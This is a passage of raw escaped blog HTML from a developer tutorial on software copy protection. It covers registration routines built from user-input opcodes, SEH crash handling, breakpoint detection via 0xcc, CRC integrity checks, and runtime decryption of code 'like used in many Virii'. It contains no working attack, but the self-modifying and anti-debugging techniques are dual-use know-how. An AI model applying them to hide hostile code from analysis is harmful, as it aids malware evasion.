style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;@app_startup:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;1]Implement SEH.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;@registration_routine:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;1]Accept username/password from the user/file.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;2]Use some algo that generates "opcodes" from&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  the user input data.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;3]Inject these opcodes into the successful_registration &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  routine.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;@successful_registration:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; (most of the instrucions here are like this:)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;push 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;push offset good-boy-text&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;push offset good-boy-caption&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;push 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;lea eax,MessageBoxA&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;db 090h }-------this should be "FF" to make the MessageBoxA &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;db 0d0h }&lt;/span&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;function work&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;             "call eax" instruction--&gt; FFD0 "byte-sequence"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Depending upon the user input &amp;amp; the algo used,&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;the 0x90 byte should be changedto/injected-with&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;0xFF for the app to get registered.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Else, if the user/input is not correct, the further&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;routine will look malformed &amp;amp; the app will crash.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;@SEH_routine:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;1] Just when the app crashes, the SEH will be called &amp;amp; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   you can make a graceful exit or maybe handle it &amp;amp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   resume execution :) .&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;----------------------------------------------------------------------&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Benefits of this approach:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;1] You can simply make the whole Registration routine look&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   Bogus &amp;amp; generate it on the fly from user-input.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;2] Unless the user enters the right Serial/sequence, the registration&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   routine will always look bogus.So not much can be made from &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   Disassembly of the routine.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;3] The only way to crack this kind of a protection would be to&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   know the "opcodes" fairly well &amp;amp; know how code execution takes place.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;2]Anti-patching.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; Well, most (almost all) of the debuggers&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  of today rely on "0xcc" or rather "int3" for setting up&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  normal breakpoints.How this thing works is like this:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;The moment you place a BreakPoint sumwhere, that &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; particular OpCode gets replaced by a "0xcc" byte.Now lets&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; simplify this method's idea.Its like..the actual opcode is&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; replaced by 0xcc, then the debugger monitors the app's &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; execution to spot int3 being executed.. if its hit, then&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; the debugger halts execution at that point &amp;amp; replaces the&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; 0xcc byte with the actual Previous Byte (opcode).&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;How to defeat it? One way would be to implement a &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;CRC check.Or you might go on the same idea,develop a small&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;algo that simply calculates a magic value by going through&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;your code during runtime &amp;amp; checks it with the actual value&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;it should have if your app is intact.This approach of writing&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;your own algorithm is recommended because the standard CRC&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;library functions if implemented in your app, can be easily&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;detected by the current tools available.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Second way? Yep another good way would be to write the&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;important parts of your apps' code dynamically to the required&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;locations like used in many Virii.Example?...here we go:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;A simple app with Username/Serial type registration routine:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;-----------------------------------------------------------------&lt;/span&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;app_startup:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Immediately when your app starts,&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;1]Do a simple crc-type check on the registration&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;routine.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;2]If intact, copy the actual registration routine&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  byte-wise-encrypted into the encrypted_code section&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  of the apps' memory.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;3]Simultaneously Nullify or 'NOP' the actual &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  registration routine.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;registration_routine:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;1]Decrypte code from encrypted_code into the actual_code&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; section of your app.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;2]Call this newly written routine for the &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  validation of registration details.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;actual_code:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;1]Actual registration routine goes here.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;encrypted_code:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;1]Its more like a buffer to store the encrypted&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  registration routine.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;------------------------------------------------------------------&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Benefits of using this technique:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;1] The actual registraion routine is always re-written&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   before being executed.This kills the 0xcc byte placed&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   by the debugger to cause a break in execution(breakpoint).&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;2] You can always use a CRC-type of check to verify the&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   integrity of your registration-routine, so if patched &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   by "newbie-crackers",you could tackle this by maybe &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   over-writing from a bakup-copy of your registration &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   routine from the app's memory or a Dll. &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  